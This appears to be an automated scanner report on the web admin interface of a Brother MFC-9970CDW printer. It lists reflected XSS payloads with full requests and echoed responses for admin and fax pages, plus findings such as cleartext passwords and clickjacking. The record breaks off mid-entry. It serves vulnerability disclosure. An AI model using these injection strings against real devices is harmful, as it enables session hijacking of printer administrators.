Brother 9970CDW Printer, XSS, Javascript Injection, CWE-79, Hoyt LLC

Private Report | Firmware L Version 1.10 Released on July 9, 2012

Link to Public FIRMWARE DOWNLOAD at Wed Mar 20 10:04:57 EDT 2013.


Bug Report

1. Cross-site scripting (reflected)

1.1. http://192.168.1.117/admin/admin_main.html [id parameter]

1.2. http://192.168.1.117/admin/admin_main.html [id parameter]

1.3. http://192.168.1.117/admin/admin_main.html [name of an arbitrarily supplied URL parameter]

1.4. http://192.168.1.117/admin/admin_main.html [name of an arbitrarily supplied URL parameter]

1.5. http://192.168.1.117/admin/admin_main.html [val parameter]

1.6. http://192.168.1.117/admin/profile_settings_net.html [id parameter]

1.7. http://192.168.1.117/admin/profile_settings_net.html [id parameter]

1.8. http://192.168.1.117/admin/profile_settings_net.html [name of an arbitrarily supplied URL parameter]

1.9. http://192.168.1.117/admin/profile_settings_net.html [name of an arbitrarily supplied URL parameter]

1.10. http://192.168.1.117/admin/profile_settings_net.html [val parameter]

1.11. http://192.168.1.117/admin/profile_settings_net.html [val parameter]

1.12. http://192.168.1.117/fax/general_setup.html [kind parameter]

1.13. http://192.168.1.117/fax/general_setup.html [kind parameter]

1.14. http://192.168.1.117/fax/general_setup.html [name of an arbitrarily supplied URL parameter]

1.15. http://192.168.1.117/fax/general_setup.html [name of an arbitrarily supplied URL parameter]

2. Cleartext submission of password

3. Password field with autocomplete enabled

3.1. http://192.168.1.117/admin/profile_settings_net.html

3.2. http://192.168.1.117/admin/profile_settings_net.html

4. Cross-domain Referer leakage

4.1. http://192.168.1.117/admin/admin_main.html

4.2. http://192.168.1.117/admin/profile_settings_net.html

4.3. http://192.168.1.117/etc/mnt_info.html

4.4. http://192.168.1.117/fax/copy_settings.html

4.5. http://192.168.1.117/fax/general_setup.html

4.6. http://192.168.1.117/list/lists_reports.html

4.7. http://192.168.1.117/main/main.html

4.8. http://192.168.1.117/user/printermain.html

5. Frameable response (potential Clickjacking)

5.1. http://192.168.1.117/admin/admin_main.html

5.2. http://192.168.1.117/admin/administrator_settings.html

5.3. http://192.168.1.117/admin/profile_settings_net.html

5.4. http://192.168.1.117/etc/mnt_info.html

5.5. http://192.168.1.117/fax/copy_settings.html

5.6. http://192.168.1.117/fax/general_setup.html

5.7. http://192.168.1.117/list/lists_reports.html

5.8. http://192.168.1.117/list/popup/printReport.html

5.9. http://192.168.1.117/main/main.html

5.10. http://192.168.1.117/net/internet_settings.html

5.11. http://192.168.1.117/pbio/find.html

5.12. http://192.168.1.117/user/printermain.html

6. Private IP addresses disclosed

7. HTML does not specify charset

7.1. http://192.168.1.117/fax/date.html

7.2. http://192.168.1.117/fax/time.html



1. Cross-site scripting (reflected)
There are 15 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://192.168.1.117/admin/admin_main.html [id parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/admin_main.html

Issue detail

The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebc40"><script>alert(1)</script>5f93e72500c was submitted in the id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /admin/admin_main.html?id=websettingsebc40"><script>alert(1)</script>5f93e72500c HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/administrator_settings.html

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 7022
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/admin_main.html?id=websettingsebc40"><script>alert(1)</script>5f93e72500c" METHOD="post" NAME="Form"

>
...[SNIP]...

1.2. http://192.168.1.117/admin/admin_main.html [id parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/admin_main.html

Issue detail

The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2396a"><script>alert(1)</script>21f4d5f8c473cf34d was submitted in the id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /admin/admin_main.html?id=signedpdf2396a"><script>alert(1)</script>21f4d5f8c473cf34d&ScanCertificate=2 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/admin_main.html?id=signedpdf

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 7044
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/admin_main.html?id=signedpdf2396a"><script>alert(1)</script>21f4d5f8c473cf34d&ScanCertificate=2" METHOD="post" NAME="Form"

>
...[SNIP]...

1.3. http://192.168.1.117/admin/admin_main.html [name of an arbitrarily supplied URL parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/admin_main.html

Issue detail

The name of an arbitrarily supplied URL parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1581"><script>alert(1)</script>0c5bab57f87 was submitted in the name of an arbitrarily supplied URL parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /admin/admin_main.html?id=websettings&e1581"><script>alert(1)</script>0c5bab57f87=1 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/administrator_settings.html

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 8876
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/admin_main.html?id=websettings&e1581"><script>alert(1)</script>0c5bab57f87=1" METHOD="post" NAME="Form"

>
...[SNIP]...

1.4. http://192.168.1.117/admin/admin_main.html [name of an arbitrarily supplied URL parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/admin_main.html

Issue detail

The name of an arbitrarily supplied URL parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 768f6"><script>alert(1)</script>2cfdd089bef55b8c4 was submitted in the name of an arbitrarily supplied URL parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /admin/admin_main.html?id=signedpdf&768f6"><script>alert(1)</script>2cfdd089bef55b8c4=1&ScanCertificate=2 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/admin_main.html?id=signedpdf

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 9130
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/admin_main.html?id=signedpdf&768f6"><script>alert(1)</script>2cfdd089bef55b8c4=1&ScanCertificate=2" METHOD="post" NAME="Form"

>
...[SNIP]...

1.5. http://192.168.1.117/admin/admin_main.html [val parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/admin_main.html

Issue detail

The value of the val request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ada0"><script>alert(1)</script>8987c3387c2 was submitted in the val parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /admin/admin_main.html?id=scantoftpnet&val=index5ada0"><script>alert(1)</script>8987c3387c2 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/admin_main.html?id=scantoemail

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 11908
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/admin_main.html?id=scantoftpnet&val=index5ada0"><script>alert(1)</script>8987c3387c2" METHOD="post" NAME="Form"

>
...[SNIP]...

1.6. http://192.168.1.117/admin/profile_settings_net.html [id parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78bc6"><script>alert(1)</script>2e96d73a21e was submitted in the id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /admin/profile_settings_net.html?id=scantonet78bc6"><script>alert(1)</script>2e96d73a21e&val=1 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/admin_main.html?id=scantoftpnet&val=index

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 26292
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/profile_settings_net.html?id=scantonet78bc6"><script>alert(1)</script>2e96d73a21e&val=1" METHOD="post" NAME="Form" onreset="SetInitItem();"
onSubmit="return checkItem('1');">
...[SNIP]...

1.7. http://192.168.1.117/admin/profile_settings_net.html [id parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac325"><script>alert(1)</script>ca90f678615c3bbd1 was submitted in the id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /admin/profile_settings_net.html?id=scantonetac325"><script>alert(1)</script>ca90f678615c3bbd1&val=1&ProfileNameNW1=xss&HostAddressNW1=192.168.1.122&StoreDirectoryNW1=%2Ftmp%2F&Scan2FtpFileNameNW1=0&Scan2FtpQualityNW1=0&Scan2FtpFileTypeNW1=0&Scan2FtpScanSizeNW1=0&Scan2FtpFileSizeNW1=1&UsePINCode1=0&PINCode1=0000&AuthMethod1=0&UsernameNW1=&Scan2FtpPasswordNW1=&Scan2FtpRetypePasswordNW1=&Scan2FtpKerberosServerAddressNW1= HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/profile_settings_net.html?id=scantonet&val=1

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 26620
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/profile_settings_net.html?id=scantonetac325"><script>alert(1)</script>ca90f678615c3bbd1&val=1&ProfileNameNW1=xss&HostAddressNW1=192.168.1.122&StoreDirectoryNW1=%2Ftmp%2F&Scan2FtpFileNameNW1=0&Scan2FtpQualityNW1=0&Scan2FtpFileTypeNW1=0&Scan2FtpScanSizeNW1=0&Scan2FtpFileSizeNW1=1&UsePINCod
...[SNIP]...

1.8. http://192.168.1.117/admin/profile_settings_net.html [name of an arbitrarily supplied URL parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The name of an arbitrarily supplied URL parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 827b7"><script>alert(1)</script>4778104e4fccfa25d was submitted in the name of an arbitrarily supplied URL parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /admin/profile_settings_net.html?id=scantonet&val=1&827b7"><script>alert(1)</script>4778104e4fccfa25d=1&ProfileNameNW1=xss&HostAddressNW1=192.168.1.122&StoreDirectoryNW1=%2Ftmp%2F&Scan2FtpFileNameNW1=0&Scan2FtpQualityNW1=0&Scan2FtpFileTypeNW1=0&Scan2FtpScanSizeNW1=0&Scan2FtpFileSizeNW1=1&UsePINCode1=0&PINCode1=0000&AuthMethod1=0&UsernameNW1=&Scan2FtpPasswordNW1=&Scan2FtpRetypePasswordNW1=&Scan2FtpKerberosServerAddressNW1= HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/profile_settings_net.html?id=scantonet&val=1

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 26623
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/profile_settings_net.html?id=scantonet&val=1&827b7"><script>alert(1)</script>4778104e4fccfa25d=1&ProfileNameNW1=xss&HostAddressNW1=192.168.1.122&StoreDirectoryNW1=%2Ftmp%2F&Scan2FtpFileNameNW1=0&Scan2FtpQualityNW1=0&Scan2FtpFileTypeNW1=0&Scan2FtpScanSizeNW1=0&Scan2FtpFileSizeNW1=1&UsePINCode1=0
...[SNIP]...

1.9. http://192.168.1.117/admin/profile_settings_net.html [name of an arbitrarily supplied URL parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The name of an arbitrarily supplied URL parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d022f"><script>alert(1)</script>4ecb9d1a876 was submitted in the name of an arbitrarily supplied URL parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /admin/profile_settings_net.html?id=scantonet&val=1&d022f"><script>alert(1)</script>4ecb9d1a876=1 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/admin_main.html?id=scantoftpnet&val=index

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 26295
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/profile_settings_net.html?id=scantonet&val=1&d022f"><script>alert(1)</script>4ecb9d1a876=1" METHOD="post" NAME="Form" onreset="SetInitItem();"
onSubmit="return checkItem('1');">
...[SNIP]...

1.10. http://192.168.1.117/admin/profile_settings_net.html [val parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The value of the val request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e553f"><script>alert(1)</script>dffad48301cb35d84 was submitted in the val parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /admin/profile_settings_net.html?id=scantonet&val=1e553f"><script>alert(1)</script>dffad48301cb35d84&ProfileNameNW1=xss&HostAddressNW1=192.168.1.122&StoreDirectoryNW1=%2Ftmp%2F&Scan2FtpFileNameNW1=0&Scan2FtpQualityNW1=0&Scan2FtpFileTypeNW1=0&Scan2FtpScanSizeNW1=0&Scan2FtpFileSizeNW1=1&UsePINCode1=0&PINCode1=0000&AuthMethod1=0&UsernameNW1=&Scan2FtpPasswordNW1=&Scan2FtpRetypePasswordNW1=&Scan2FtpKerberosServerAddressNW1= HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/profile_settings_net.html?id=scantonet&val=1

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 21250
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/profile_settings_net.html?id=scantonet&val=1e553f"><script>alert(1)</script>dffad48301cb35d84&ProfileNameNW1=xss&HostAddressNW1=192.168.1.122&StoreDirectoryNW1=%2Ftmp%2F&Scan2FtpFileNameNW1=0&Scan2FtpQualityNW1=0&Scan2FtpFileTypeNW1=0&Scan2FtpScanSizeNW1=0&Scan2FtpFileSizeNW1=1&UsePINCode1=0&P
...[SNIP]...

1.11. http://192.168.1.117/admin/profile_settings_net.html [val parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /admin/profile_settings_net.html

Issue detail

The value of the val request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 307e3"><script>alert(1)</script>ca1ad9b1fa6 was submitted in the val parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /admin/profile_settings_net.html?id=scantonet&val=1307e3"><script>alert(1)</script>ca1ad9b1fa6 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/admin_main.html?id=scantoftpnet&val=index

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 20910
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; charset
...[SNIP]...
<FORM ACTION="/admin/profile_settings_net.html?id=scantonet&val=1307e3"><script>alert(1)</script>ca1ad9b1fa6" METHOD="post" NAME="Form" onreset="SetInitItem();"
onSubmit="return checkItem('1307e3">
...[SNIP]...

1.12. http://192.168.1.117/fax/general_setup.html [kind parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /fax/general_setup.html

Issue detail

The value of the kind request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ac2f"><script>alert(1)</script>13922df1d48 was submitted in the kind parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /fax/general_setup.html?kind=item8ac2f"><script>alert(1)</script>13922df1d48 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/admin/profile_settings_net.html?id=scantonet&val=1&=&

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 10052
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; char
...[SNIP]...
<FORM ACTION="/fax/general_setup.html?kind=item8ac2f"><script>alert(1)</script>13922df1d48" METHOD="post" NAME="Form"


onSubmit="ClockSet();return Chksleep('210');"


>
...[SNIP]...

1.13. http://192.168.1.117/fax/general_setup.html [kind parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /fax/general_setup.html

Issue detail

The value of the kind request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9cf1f"><script>alert(1)</script>663c9ec1d7f9d5c96 was submitted in the kind parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /fax/general_setup.html?kind=item9cf1f"><script>alert(1)</script>663c9ec1d7f9d5c96&StationFax=8887754225&StationTel=8887754225&StationName=HOYT+LLC&DateTime=201303091307&Month=+3&Day=+9&Year=2013&Hour=13&Minute=07&TimeZone=-690&AutoDaylight=1&MPTrayPaperType=0&Tray1PaperType=0&MPCassettePaperSize=0&Cassette1PaperSize=0&CopyTrayUse=2&FaxTrayUse=2&PrintTrayUse=2&SpeakerVolume=1&RingVolume=1&BeeperVolume=1&TonerSave=1&SleepTime=3&DialTone=1&DialPrefix=1&DialPrefixNumber=9 HTTP/1.1
Host: 192.168.1.117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:8.0) Gecko/20121002 Firefox/8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.117/fax/general_setup.html?kind=item

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Vary: Accept-Language
Content-Length: 10449
Content-Type: text/html
Content-Language: en
Connection: close
Server: debut/1.20
Pragma: no-cache


<HTML>
<!--Copyright(C) 2000-2010 Brother Industries, Ltd. All Rights Reserved.-->

<HEAD>
<TITLE>
Brother MFC-9970CDW
</TITLE>


<META http-equiv=Content-Type content="text/html; char
...[SNIP]...
<FORM ACTION="/fax/general_setup.html?kind=item9cf1f"><script>alert(1)</script>663c9ec1d7f9d5c96&StationFax=8887754225&StationTel=8887754225&StationName=HOYT+LLC&DateTime=201303091307&Month=+3&Day=+9&Year=2013&Hour=13&Minute=07&TimeZone=-690&AutoDaylight=1&MPTrayPaperType=0&Tray1PaperType=0&MPCas
...[SNIP]...

1.14. http://192.168.1.117/fax/general_setup.html [name of an arbitrarily supplied URL parameter]

Summary

Severity:   High
Confidence:   Certain
Host:   http://192.168.1.117
Path:   /fax/general_setup.html

Issue detail

The name of an arbitrarily supplied URL parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52687"><script>alert(1)</script>1cd27a6f8a5 was submitted in the name of an arbitrarily supplied URL parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

